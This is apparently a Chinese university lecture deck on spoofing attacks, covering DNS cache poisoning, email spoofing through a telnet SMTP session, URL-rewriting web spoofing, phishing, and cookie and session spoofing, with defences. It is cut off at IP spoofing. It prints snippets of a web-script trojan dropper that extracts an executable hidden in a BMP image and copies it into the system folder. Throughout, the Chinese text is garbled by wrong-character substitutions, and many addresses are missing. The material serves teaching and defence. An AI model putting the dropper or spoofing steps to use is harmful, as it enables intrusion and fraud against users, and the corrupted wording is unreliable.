网络安全7-欺骗攻击

1、网络平安 刘敏贤 副教授西南科技大学计算机科学与技术学院.第5章 缓冲区溢出攻击回想缓冲区溢出攻击的根本原理、方法缓冲区溢出程序的原理及要素攻击UNIX攻击WINDOWS.第7章 欺骗攻击欺骗攻击是网络攻击的一种重要手段。常见的欺骗攻击方式有：DNS欺骗攻击；Email欺骗攻击；Web欺骗攻击和IP欺骗攻击等。本章引见这些主要欺骗攻击的原理、实现技术。 .第7章 欺骗攻击7.1 DNS欺骗攻击 7.2 Email欺骗攻击 7.3 Web欺骗攻击 7.4 IP欺骗攻击 .2022/8/225概述在Internet上计算机之间相互进展的交流建立在两个前提之下：认证Authentication信任T

2、rust.2022/8/226概述认证:认证是网络上的计算机用于相互间进展识别的一种鉴别过程，经过认证的过程，获准相互交流的计算机之间就会建立起互置信任的关系。 .2022/8/227概述信任:信任和认证具有逆反关系，即假设计算机之间存在高度的信任关系，那么交流时就不会要求严厉的认证。而反之，假设计算机之间没有很好的信任关系，那么会进展严厉的认证。.2022/8/228概述欺骗本质上就是一种冒充身份经过认证骗取信任的攻击方式。攻击者针对认证机制的缺陷，将本人伪装成可信任方，从而与受害者进展交流，最终攫取信息或是展开进一步攻击。 .2022/8/229概述目前比较流行的欺骗攻击主要有5种：IP欺

3、骗：运用其他计算机的IP来骗取衔接，获得信息或者得到特权；电子邮件欺骗：电子邮件发送方地址的欺骗；DNS欺骗：域名与IP地址转换过程中实现的欺骗；Web欺骗：发明某个万维网网站的复制影像，从而到达欺骗网站用户目的的攻击。.DNS欺骗攻击DNS欺骗原理假设当提交给某个域名效力器的域名解析恳求的数据包被截获，然后按截获者的意图将一个虚伪的IP地址作为应对信息前往给恳求者，这时，原始恳求者就会把这个虚伪的IP地址作为它所要恳求的域名而进展衔接，显然它被欺骗到了别处而根本衔接不上本人想要衔接的那个域名 对那个客户想要衔接的域名而言，它就算是被黑掉了，由于客户由于无法得到它的正确的IP地址而无法衔接上它

4、第7章 第1节.2022/8/2211DNS任务原理DNS的全称是Domain Name Server即域名效力器，当一台主机发送一个恳求要求解析某个域名时，它会首先把解析恳求发到本人的DNS效力器上。DNS的功能是提供主机名字和IP地址之间的转换信息。DNS效力器里有一个“DNS缓存表，里面存储了此DNS效力器所管辖域内主机的域名和IP地址的对应关系。.2022/8/2212DNS任务原理例如，客户主机需求访问dhs时，首先要知道dhs的IP地址。客户主机获得dhs IP地址的独一方法就是向所在网络设置的DNS效力器进展查询。查询过程分四步进展。.DNS解析出IP的过程1举个例子, 假设今天

5、我们查的 Domain Name (作为一个 dns 恳求) 为 sina. 时, DNS Server 如何处置:(1) 他所用的电脑送出一个问题给这台电脑所设定的 DNS Server(Local DNS). 问: sina 的 IP 是什么? (2) 这台 DNS 会先看看是不是在他的 cache 中, 假设是, 就给出答案.假设不是, 就从最上头(根域)查起。在 DNS Server 上面一定有设定的 . ，这个时候它就往 . 层的任何一台 DNS (目前 . 有 13 台) 问问题，问 sina 的IP谁知道? (3) . 层的 DNS 会回答 ：我这没有sina 的记录，我曾经把的

6、域名解析权交给了，我通知他的IP，他去向问吧,于是将结果(一个IP 地址)返还给他的Local DNS。(这个时候前往的是一个 name server 的IP). .DNS解析出IP的过程2(4) 接下来他所用的 Local DNS 就会向 这层的 DNS 问：sina 的IP是什么? name server经查找本身说：我这没有 sina 的记录，我曾经把sina的域名解析权交给sina，我通知他sina 的IP 地址，他问sina 好了! 也将结果一个IP地址返还给Local DNS。(5) 于是Local DNS再向sina 这层的 DNS问：他知道 sina 的IP吗? 由于sina

7、是 sina 的授权DNS,上面有www主机的A记录，于是将这个IP通知给他的Local DNS,于是Local DNS拿到了sina 的IP地址。.2022/8/2215DNS任务原理 上图中有三台主机：客户主机、nipc域DNS效力器和dhs域DNS效力器。其中nipc域DNS效力器直接为客户主机提供DNS效力。下面对这四个过程进展解释。 .2022/8/2216DNS域名解析过程1客户主机软件(例如Web阅读器)需求对dhs进展解析，它向本地DNS效力器(nipc域)发送域名解析恳求，要求回复dhs的IP地址；2) 由于本地DNS效力器的数据库中没有dhs的记录，同时缓存中也没有记录，所

8、以，它会根据DNS协议机器配置向网络中的其他DNS效力器提交恳求。这个查询恳求逐级递交，直到dhs域的真正权威DNS效力器收到恳求(这里省略了寻觅dhs域DNS效力器的迭代过程，假定本地DNS效力器最终找到了所需求的信息)；.2022/8/2217DNS域名解析过程23) dhs域DNS效力器将向nipc域DNS效力器前往IP查询结果(假定为)；4) nipc域的本地DNS效力器最终将查询结果前往给客户主机阅读器，并将这一结果存储到其DNS缓存当中，以便以后运用。在一段时间里，客户主机再次访问dhs时，就可以不需求再次转发查询恳求，而直接从缓存中提取记录向客户端前往IP地址了。 经过上面几步，

9、客户主机获得了它所等待的dhs网站的IP地址，这样整个域名解析过程就终了了。.2022/8/2218DNS欺骗的原理及实现步骤当客户主机向本地DNS效力器查询域名的时候，假设效力器的缓存中曾经有相应记录，DNS效力器就不会再向其他效力器进展查询，而是直接将这条记录前往给用户。而入侵者欲实现DNS欺骗，关键的一个条件就是在DNS效力器的本地Cache中缓存一条伪造的解析记录。.2022/8/2219DNS欺骗的原理及实现步骤在上面例子中，假设dhs域DNS效力器前往的是经过攻击者篡改的信息，比如将dhs指向另一个IP地址，nipc域DNS效力器将会接受这个结果，并将错误的信息存储在本地Cache

10、中。.以后在这条缓存记录的生存期内，再向nipc域DNS效力器发送的对dhs的域名解析恳求，所得到的IP地址都将是被篡矫正的。2022/8/2220DNS欺骗的原理及实现步骤.2022/8/2221DNS欺骗的原理及实现步骤有了对DNS效力器进展欺骗的能够，攻击者怎样伪造DNS应对信息就成了问题的焦点。目前有两种能够情况下的实现方法:攻击者可以控制本地的域名效力器攻击者无法控制任何DNS效力器.2022/8/2222第一种能够情况一种能够是，攻击者可以控制本地的域名效力器(假定是nipc域的权威)，在其数据库中添加一个附加记录，将攻击目的的域名(例如dhs)指向攻击者的欺骗IP。紧接着，攻击者

11、向dhs域DNS效力器发送对some.nipc域名的解析恳求。dhs域的DNS效力器自然转而向nipc域的DNS效力器发送恳求。.2022/8/2223第一种能够情况(2)这时候，本地的域名效力器除了前往正常的some.nipc的IP地址外，还会在前往包中附加dhs的映射记录。假设dhs域的DNS效力器允许缓存一切收到的信息的话，发过来到dhs的伪造映射记录便“注射到其Cache中了。.2022/8/2224第二种能够情况另一种更现实的情况，就是攻击者无法控制任何DNS效力器，但他可以控制该效力所在网络的某台主机，并可以监听该网络中的通讯情况。这时候，黑客要对远程的某个DNS效力器进展欺骗攻击

12、，所采用的手段很像IP欺骗攻击：首先，黑客要冒充某个域名效力器的IP地址；其次，黑客要能预测目的域名效力器所发送DNS数据包的ID号。确定目的DNS效力器的ID号即为DNS欺骗攻击的关键所在.2022/8/2225第二种能够情况(2)DNS数据是经过UDP协议传送的，在DNS效力器之间进展域名解析通讯时，恳求方和应对方都运用UDP 53端口，而这样的通讯过程往往是并行的，也就是说，DNS域名效力器之间同时能够会进展多个解析过程，既然不同的过程运用一样的端口号，那靠什么来彼此区别呢?答案就在DNS报文里面。DNS报文格式头部的ID域，是用于区别不同会话过程的，这有点类似于TCP中的序列号，域名解

13、析的恳求方和应对方只需运用一样的ID号才干证明是同一个会话(由恳求方决议所运用的ID)。不同的解析会话，采用不同的ID号。.2022/8/2226第二种能够情况(3)在一段时期内，DNS效力器普通都采用一种有章可循的ID生成机制，例如，对于每次发送的域名解析恳求，依次将数据包中的ID加1。如此一来，攻击者假设可以在某个DNS效力器的网络中进展嗅探，他只需向远程的DNS效力器发送一个对本地某域名的解析恳求，经过嗅探得到的来自目的DNS效力器的恳求数据包由于远程DNS效力器一定会转而恳求本地的DNS效力器，攻击者就可以得到想要的ID号了。.2022/8/2227第二种能够情况(4)例子：nipc域

14、的DNS效力器向dhs域的DNS效力器恳求解析，假设攻击者所伪造的DNS应对包中含有正确的ID号，并且抢在dhs域的DNS效力器之前向nipc域的DNS效力器前往伪造信息，欺骗攻击就将获得胜利的。.2022/8/2228第二种能够情况(5)其实，即使攻击者无法监听某个拥有DNS效力器的网络，也有方法得到目的DNS效力器的ID号。首先，他向目的DNS效力器恳求对某个不存在域名地址但该域是存在的进展解析。然后，攻击者冒充所恳求域的DNS效力器，向目的DNS效力器延续发送应对包，这些包中的ID号依次递增。过一段时间，攻击者再次向目的DNS效力器发送针对该域名的解析恳求，假设得到前往结果，就阐明目的D

15、NS效力器接受了刚刚黑客的伪造应对，继而阐明黑客猜测的ID号在正确的区段上，否那么，攻者可以再次尝试。 .2022/8/2229第二种能够情况(6)实践攻击中，第二种攻击方法实现比较复杂。知道了ID号，并且知道了ID号的增长规律，以下的过程类似于IP欺骗攻击。.2022/8/2230一次DNS欺骗攻击的完好过程.2022/8/2231DNS欺骗的局限性及防御DNS欺骗主要存在两点局限性：攻击者不能交换缓存中曾经存在的记录例如，假设在这个DNS上曾经有了一条dhs/22的对应记录，那么入侵者试图交换这条记录是不能够的，也就是说，攻击者不能够修正曾经存在的记录。但是在DNS效力器中一些记录可以累加

16、。假设在DNS的缓存中曾经存在一条dhs/22的对应记录，攻击者可以向缓存中再放入另一条伪造的记录dhs/1。这样在DNS效力器中就有两条dhs的解析记录，客户主机查询时，效力器会随机前往其中一个，这样就只需50几率实现DNS欺骗。 DNS效力器存在缓存刷新时间问题在DNS应对报文里有一个字段生存时间TTL用来设定客户程序保管该资源记录的秒数。假设缓存中记录的TTL为7200，那么DNS效力器会把dhs的域名解析信息缓存7200秒，即两个小时。假设攻击者放入一条TTL为259200的记录，那么这条记录将会在缓存中保管三天时间。也就是说，DNS欺骗的有效时间是与缓存中记录的TTL相关的，一旦超越

17、缓存有效时间，除非重新构造缓存记录，否那么DNS欺骗会自动失效。.2022/8/2232DNS欺骗的局限性及防御在配置DNS效力器的时候留意：运用最新版本DNS效力器软件并及时安装补丁；封锁DNS效力器的递归功能：DNS效力器利用缓存中的记录信息回答查询恳求或是DNS效力器经过查询其它效力器获得查询信息并将它发送给客户机，这两种查询方式称为递归查询，这种查询方式容易导致DNS欺骗。限制区域传输范围：限制域名效力器做出呼应的地址、限制域名效力器做出呼应的递归恳求地址、限制发出恳求的地址；限制动态更新；采用分层的DNS体系构造。. Email欺骗攻击Email欺骗方法攻击者佯称本人为系统管理员邮件

18、地址和系统管理员完全一样，给用户发送邮件要求用户修正口令口令能够为指定字符串或在貌似正常的附件中加载病毒或其他木马程序 第7章 第2节. Email欺骗攻击Email欺骗实现步骤SMTP效力器允许匿名登录填写假的称号和发信人地址运用web方式骗取密码，或者运用附件植入木马第7章 第2节.2022/8/2235电子邮件欺骗及防御技术电子邮件欺骗的原理电子邮件欺骗的防御.2022/8/2236电子邮件欺骗的原理攻击者运用电子邮件欺骗有三个目的：第一，隐藏本人的身份。第二，假设攻击者想冒充他人，他能冒充那个人的电子邮件。第三，电子邮件欺骗能被看作是社会工程的一种表现方式。.电子邮件欺骗的原理一个邮件

19、系统的传输包含用户代理User Agent、传输代理Transfer Agent及投递代理Delivery Agent三大部分。用户代理是一个用户端发信和收信的程序，担任将信件按照一定的规范包装，然后送到邮件效力器，将信件发出或由邮件效力器收回。传输代理那么担任信件的交换和传输，将信件传送至适当的邮件效力器。再由投递代理将信件分发至最终用户的邮箱。在正常的情况下，邮件会尽量将发送者的名字和地址包括进邮件头信息中，但是，有时候，发送者希望将邮件发送出去而不希望收件者知道是谁发的，这种发送邮件的方法称为匿名邮件。实现匿名的一种最简单的方法，是简单地改动电子邮件软件里的发送者的名字，但经过邮件头的其

20、它信息，仍可以跟踪发送者。另一种比较彻底的匿名方式是让其他人发送这个邮件，邮件中的发信地址就变成了转发者的地址了。如今因特网上有大量的匿名转发者或称为匿名效力器。.2022/8/2238电子邮件欺骗的原理执行电子邮件欺骗有三种根本方法，每一种有不同难度级别，执行不同层次的隐蔽。它们分别是： 利用类似的电子邮件地址 直接运用伪造的地址远程登录到SMTP端口发送邮件.2022/8/2239利用类似的电子邮件地址这主要是利用人们的大意心思。攻击者找到一个受害者熟习的名字。有了这个名字后，攻击者注册一个看上去像受害者熟习的名字的邮件地址。这样收信人很能够会回复这个邮箱发来信，这样攻击者就有得到想要信息

21、的能够性。 .2022/8/2240直接运用伪造的Email地址SMTP协议即简单邮件传输协议有着一个致命的缺陷：它所遵照过于信任的原那么，没有设计身份验证系统。 SMTP建立在假定人们的身份和他们所声称一致的根底之上，没有对邮件发送者的身份进展验证。这使得人们可以随意构造发件人地址来发送邮件。下页我们经过修正邮件客户端软件的设置来例如这一点。.2022/8/2241直接运用伪造的Email地址对于那些没有设置SMTP身份验证功能的邮件效力器，例如右图所示的Outlook邮件客户软件就不需求做相应的设置，当用户运用邮件客户软件发出电子邮件时，发送邮件效力器不会对发件人地址进展验证或者确认，因此

22、攻击者可以随意指定他想运用的一切地址，而这些地址当然会作为邮件源出如今收件人的信中。.2022/8/2242直接运用伪造的Email地址此外，在右图所示的例子中，攻击者还可以指定他想要的任何邮件前往地址。因此当用户回信时，回答回到攻击者所掌握的邮箱testtest，而不是回到被盗用了地址的人那里。.2022/8/2243远程登录到SMTP端口SMTP协议普通运用25号端口，邮件效力器经过它在互联网上发送邮件。 执行电子邮件欺骗的一个比较复杂的方法是远程登录到邮件效力器的25号端口发送邮件。.2022/8/2244远程登录到25号端口(2)攻击者首先找到邮件效力器的IP地址，或者经过运转端口扫描

23、程序来判别哪些机器是25号端口开放的邮件效力器。在攻击者有了一台25号端口开放的机器和一台正在运转的邮件效力器后，输入下面的命令：telnet IP地址 25在衔接上以后，再输入下面的内容：HELOMAIL FROM: 欺骗伪装的mail地址RCPT TO: 收件的受害者mail地址DATA邮件的内容.2022/8/2245例如：远程登录25端口的Email欺骗实验环境局域网mail效力器为50Mail效力器不需求身份验证内有两个用户分别为：liuylan.nipcchensllan.nipc实验方式伪装成liuylan.nipc给chensllan.nipc发邮件.2022/8/2246Em

24、ail欺骗过程telnet到效力器经过telnet，衔接到邮件效力器的25端口。在cmd.exe下运用的命令：telnet 50 25结果如下图，阐明曾经衔接到了25端口.2022/8/2247Email欺骗过程发送邮件内容220 nipcoa Magic Winmail Server 2.4(Build 0530) ESMTP readyhelo250 nipcoa Magic Winmail Server 2.4(Build 0530)mail from: liuylan.nipc250 okrcpt to: chensllan.nipc250 okdata354 go aheadsubj

25、ect: testto: chensllan.nipcfrom: liuylan.nipcthis is a test.250 ok message accepted for deliveryquit221 nipcoa Magic Winmail Server 2.4(Build 0530)红色部分是根据SMTP协议自行输入的内容；黑色部分是效力器的前往信息。阐明.2022/8/2248Email欺骗过程发送邮件内容截屏.2022/8/2249Email欺骗过程结果用户chensllan.nipc将收到来自liuylan.nipc的邮件，如下图。但是liuylan.nipc并不知道本人发送了

26、邮件。试想，假设邮件的内容里有病毒或者其它恶意代码，且chensllan.nipc信任liuylan.nipc，那么将会是一件多么危险的事情啊。.2022/8/22505.4.2 电子邮件欺骗的防御做为互联网用户，必需时辰树立风险认识，不要随意翻开一个不可信任的邮件。此外，下面引见几种防备方法分别从这几个方面入手：邮件接纳者邮件发送者邮件效力器邮件加密.2022/8/2251防备方法邮件接纳者做为邮件接纳者来说，用户需求合理配置邮件客户端，使每次总能显示出完好的电子邮件地址，而不是仅仅显示别名，完好的电子邮件地址能提供一些迹象阐明正在发生一些不平常的事情。用户应该留意检验发件人字段，不要被类似

27、的发信地址所蒙蔽。.2022/8/2252防备方法邮件发送者做为邮件发送者来说，假设他运用foxmail或者outlook之类的邮件客户端，他必需维护好这些邮件客户端，防止他人对客户端的设置进展修正。.2022/8/2253防备方法邮件效力器对于邮件效力器提供方来说，采用的SMTP身份验证机制。原来运用SMTP协议发送邮件的时候并不需求任何验证，身份欺骗极易实现。如今将POP协议收取邮件需求用户名/密码验证的思想移至到SMTP协议，发送邮件也需求类似的验证。绝大多数邮件效力提供商都是采用的这种做法，通常是运用与接纳邮件一样的用户名和密码来发送邮件。采用这种方法之后，虽然SMTP协议平安性的问题

28、依然无法从根本上得到处理，但是电子邮件欺骗曾经变得不像过去那么容易了。.2022/8/2254防备方法PGP加密还有一种能够的处理方法是运用公钥加密，其中运用最广泛的就是PGP邮件加密。PGP (Pretty Good Privacy) 是一个可以让您的电子邮件拥有严密功能的程序。藉此他可以将他的邮件加密 ，一旦加密后，邮件看起来是一堆无意义的乱码 。PGP 提供了极强的维护功能，即使是最先进的解码分析技术也无法解读加密后的文字。PGP 加密与解密不像其它传统加密的方式，而是以公钥密码学为根底的。 .2022/8/2255防备方法PGP加密2举例来说，当他要传送一封严密信或档案给某人时，必需先

29、获得那人的公钥Public Key，然后利用这个公钥将信件加密。当某人收到您加密的信件后，他必需利用相应的私钥(Secret Key) 来解密。因此，除非其它人拥有收信者的私钥，否那么无法解开发信人所加密的信件。同时，收信人在运用私钥解密时，还必需输入通行码，如此又对加密后的邮件多了一层维护。. Email欺骗攻击Email欺骗的防护查看邮件原文，检查真正的发件效力器地址经过邮件链接网页的时候，留意真正的网站地址在不同的运用中，尽能够运用不一样的、无关的密码第7章 第2节. Web欺骗攻击Web欺骗攻击原理攻击者经过伪造某个WWW站点的影像拷贝，使该Web的入口进入到攻击者的Web影像效力器，

30、并经过攻击者机器的过滤作用，从而到达攻击者监控受攻击者的任何活动以获取有用信息的目的第7章 第3节. Web欺骗攻击Web欺骗方法改写URLWeb中的脚本第7章 第3节.2022/8/2259Web欺骗的概念Web站点给用户提供了丰富多彩的信息，Web页面上的文字、图画与声音可以给人深化的印象。在计算机世界中，我们往往都习惯各类图标、图形，代表各类不同的含义。人们往往还会在事件的时间先后顺序中得到某种暗示。假设在单击银行的网页时username对话框同时出现了，用户自然会以为应该输入在该银行的账户与口令。假设他在单击了一个文档链接后，立刻开场了下载，那么他很自然地会以为该文件正从该站点下载。然

31、而，以上的想法不一定总是正确的。.Web欺骗的概念Web欺骗是一种电子信息欺骗，攻击者发明了一个完好的令人服气的Web世界，但实践上它却是一个虚伪的复制。虚伪的Web看起来非常逼真，它拥有一样的网页和链接。然而攻击者控制着这个虚伪的Web站点，这样受害者的阅读器和Web之间的一切网络通讯就完全被攻击者截获。.2022/8/2261Web欺骗的概念由于攻击者可以察看或者修正任何从受害者到Web效力器的信息，同样地，也控制着从Web效力器发至受害者的前往数据，这样攻击者就有发起攻击的能够性。攻击者可以监视被攻击者的网络信息，记录他们访问的网页和内容。当被攻击者填完一个表单并发送后，这些数据将被传送

32、到Web效力器，Web效力器将前往必要的信息，但不幸的是，攻击者完全可以截获并运用这些信息。.2022/8/2262Web欺骗的概念在得到必要的数据后，攻击者可以经过修正受害者和Web效力器两方任何一方数据，来进展破坏活动。攻击者可以修正受害者确实认数据，攻击者还可以修正Web效力器前往的数据。 .2022/8/2263Web欺骗的任务原理Web欺骗可以胜利的关键是在受害者和真实Web效力器之间插入攻击者的Web效力器，这种攻击常被称为“中间人攻击(man-in-the-middle)。 .2022/8/2264Web欺骗的任务原理为了建立这样的Web效力器，攻击者要完成以下任务：攻击者改写W

33、eb页中的一切URL地址，使它们指向攻击者的Web效力器不是真正的Web效力器。例如， microsoft将变为/。.2022/8/2265Web欺骗的任务原理当用户单击改写过的httpwwwmicrosoft /衔接，将进入的是httpmicrosoft /，再由/向httpmicrosoft /发出恳求并获得真正的文档，这样攻击者就可以改写文档中的一切链接，最后经过/前往给用户的阅读器。.2022/8/2266Web欺骗的任务原理任务流程如下所示：用户访问伪造过的/向httpmicrosoft /恳求文档；microsoft /向/前往文档；/改写文档中的一切URL；/向用户前往改写后的文

34、档。 . Web欺骗攻击改写URL with html links seems like Microsoft /microsoft microsoft html page with links like : g.microsoft html page with links like : /g.microsoft第7章 第3节. Web欺骗攻击利用Web脚本进展欺骗原理攻击者设计一个网页，并诱使受害者阅读该网页该网页中包含有一个图片和一个脚本当阅读时，该图片被下载到受害者计算机的暂时目录中，而脚本被运转脚本的功能是将图片中隐藏的木马提取出来，并设置为自动执行第7章 第3节. Web欺骗攻击利用W

35、eb脚本进展欺骗根本控件a1=document.applets0; a1.setCLSID(F935DC22-1CF0-11D0-ADB9-00C04FD58A0B); a1.createInstance(); reg = a1.GetObject(); a1.setCLSID(0D43FE01-F093-11CF-8940-00A0C9054228); a1.createInstance(); FSO = a1.GetObject(); 第7章 第3节.Web欺骗攻击Web脚本从BMP图片中释放程序set Lt=FSO.CreateTextFile(path & tmp.in) Lt.Wri

36、teLine(rbx) Lt.WriteLine(0) Lt.WriteLine(rcx) Lt.WriteLine(1000) Lt.WriteLine(w) Lt.WriteLine(q) Lt.Close 第7章 第3节. Web欺骗攻击Web脚本从BMP图片中释放程序WSH.Run command /c debug & path & tmp.dat & path & tmp.out,false,6 On Error Resume Next FSO.GetFile(path & tmp.dat).Copy(winsys & tmp.exe) FSO.GetFile(path & tmp.

37、dat).Delete FSO.GetFile(path & tmp.in).Delete FSO.GetFile(path & tmp.out).Delete 第7章 第3节. Web欺骗攻击其它Web攻击网页病毒、木马及时晋级补丁、运用平安级别高的阅读器HTTP劫持网络整体防护网络钓鱼第7章 第3节.2022/8/2273Web欺骗案例网络钓鱼很多人是闻其名而色变，由于它经常扮演成一只幕后黑手伸向人们的口袋确切地讲，网络钓鱼就是那些黑客们借用电子邮件或是模拟网上银行、网上购物等一切网上买卖的页面而制造出假的网页页面，以假乱真，让用户在毫不知情的情况下泄显露本人的相关账户信息账号、密码，一旦

38、这些黑客们得到了用户的账号信息，后果可想而知。经典案例：工商银行网上银行被黑客多次伪造.2022/8/22网络入侵与防备讲义74 2005年1月，一个冒充中国工商银行网站出如今互联网上，诱骗银行卡持有人的帐户和密码，并导致多人的银行存款被盗，直接经济损失达80万元人民币。中国工商银行icbc冒充工商银行1cbc网络钓鱼乔装银行，众网友自动上钩.2022/8/22网络入侵与防备讲义75工商银行网站被仿造又一例URL显露了马脚.针对于站点的欺骗攻击技术cookies欺骗攻击session欺骗攻击.cookies欺骗原理什么是cookies? 因特网阅读器的记录标志cookies的作用? Cooki

39、es是一种可以让网站效力器把少量数据储存到客户端的硬盘或内存，或是从客户端的硬盘读取数据的一种技术。Cookies是当他阅读某网站时，由Web效力器置于他硬盘上的一个非常小的文本文件，它可以记录他的用户ID、密码、阅读过的网页、停留的时间等信息。当他再次来到该网站时，网站经过读取Cookies，得知他的相关信息，就可以做出相应的动作，如在页面显示欢迎他的标语，或者让他不用输入ID、密码就直接登录等等。.cookies欺骗原理cont.Cookies在哪里?Cookies文件的存放位置为C:Documents and Settings用户CookiesCookies的格式?他的用户名产生的COO

40、KIE的网页文件所在的WEB目录COOKIE改动的次数.txt什么是Cookies欺骗?Cookies欺骗，就是在只对用户做Cookies验证的系统中，经过修正Cookies的内容来得到相应的用户权限登录。.cookies欺骗攻击实现方法普通思绪如下: 寻觅具有Cookies欺骗破绽的站点 注册用户并登陆保管本人的Cookies 偷取其他用户的Cookies 修正本人的Cookies等于或大致等于其 他用户的Cookies 刷新页面,改换身份 验证身份.session欺骗原理什么是session? Session是指一个终端用户与交互系统进展通讯的时间间隔，通常指从注册进入系统到注销退出系统之

41、间所经过的时间。详细到Web中的Session指的就是用户在阅读某个网站时，从进入网站到阅读器封锁所经过的这段时间，也就是用户阅读这个网站所破费的时间。从上述的定义中我们可以看到，Session实践上是一个特定的时间概念. 说白了也就是当一个访问者来到他的网站的时候一个Session就开场了，当他分开的时候Session就终了了。.session欺骗原理cont.session任务原理: web效力器能经过Session对象区分不同的阅读器，由于Session对象是用来记录阅读器端的变量，存储一些如用户名等比较敏感或有用的信息。这点似乎和Cookie有点像。但我们知道Cookie的值都是保管在

42、客户端的，而Session的值却是保管在效力器端。当每个访问者第一次阅读器访问效力器的一个ASP网页的时候，效力器会为他创建一个新的并且独立的Session对象，分配给该会话一个会话标识号，并把包含会话标识符的特殊加密版本的一个Cookie会话标识号发送给客户,当阅读器封锁时，这个会话标识号也就消逝了。什么是Session欺骗 所谓Session欺骗,就是在只对用户做Session验证的系统中，经过伪造Session的内容来得到相应的用户权限登录操作。.session欺骗原理cont.session和cookies的区别:1.保管位置不同：Cookie是保管在客户端。Session保管在效力器

43、端。2.保管时间不同：Cookie可以保管在用户电脑上一年，或者更长的时间 Session往往只能保管几非常钟3.失效方式不同：Cookie设定时间后，会不断保管用户的电脑上哪怕用 户关机。Session保管效力器的内存中，只需效力器重启，或者网站封锁，都会丧失。两者之间的关系，两个都是用来保管用户的信息。但是Session是基于Cookie根底上的。假设用户的阅读器制止Cookie后，Session也是不能运用的.session欺骗原理cont.Session验证的普通步骤: 登录页面输入账号密码后，假设有他输入账号密码就以为他是管理员, 然后给他一个表示他身份的session值或者其他方法

44、的验证，接着跟上面一样给他个表示他身份的sesion值, 随后他进入任何一个管理页面它都要首先验证他的session值.Session欺骗，必需有三个前提: 1进展欺骗的网页和被欺骗的网页必需位于同一个网站内2必需知道管理页面。3必需知道Session变量以及它的限制条件。 .session欺骗原理cont.session欺骗攻击思绪: 已有某网站abc，下有登录页：Login.asp，胜利登录后转向可以看到敏感信息的ok.asp设有访问限制，验证经过那么显示，否那么转向Fail.asp。黑客先构造一个hack.asp的网页，经过阅读该网页，建立Session会话，并设置一下Session验证

45、时所需求的值，然后直接访问登录以后的网页ok.asp，由于ok.asp是经过Session来验证的，胜利绕过用户名和密码验证. 假设ok.asp和hack.asp不在同一台效力器上，这种攻击能否可行?Session欺骗，必需有三个前提: 1进展欺骗的网页和被欺骗的网页必需位于同一个网站内2必需知道后台管理登陆页面3必需知道Session变量以及它的限制条件 .2022/8/2287Web欺骗的防御防备Web欺骗的方法：配置网络阅读器使它总能显示目的URL，并且习惯查看它。检查源代码，假设发生了URL重定向，就一定会发现。不过，检查用户衔接的每一个页面的源代码对普通用户来说是不真实践的想法。运用

46、反网络钓鱼软件。禁用JavaScript、ActiveX或者任何其他在本地执行的脚本言语。确保运用有效和能适当地跟踪用户。无论是运用cookie还是会话ID，都应该确保要尽能够的长和随机。培育用户留意阅读器地址线上显示的URL的好习惯。培育用户的平安认识和对开发人员的平安教育。. Web欺骗攻击Web欺骗的防护很隐蔽，不容易被发现预防手段制止阅读器中的JavaScript功能确保阅读器的衔接形状是可见的时辰留意所点击的URL链接会在位置形状行中得到正确的显示第7章 第3节.Ip欺骗.2022/8/2290在Internet上计算机之间相互进展的交流建立在两个前提之下：认证Authenticat

47、ion信任Trust.2022/8/2291认证:认证是网络上的计算机用于相互间进展识别的一种鉴别过程，经过认证的过程，获准相互交流的计算机之间就会建立起互置信任的关系。 .2022/8/2292信任:信任和认证具有逆反关系，即假设计算机之间存在高度的信任关系，那么交流时就不会要求严厉的认证。而反之，假设计算机之间没有很好的信任关系，那么会进展严厉的认证。.2022/8/2293欺骗本质上就是一种冒充身份经过认证骗取信任的攻击方式。攻击者针对认证机制的缺陷，将本人伪装成可信任方，从而与受害者进展交流，最终攫取信息或是展开进一步攻击。 . IP欺骗攻击IP欺骗的根底经过伪造IP地址可以获得更过的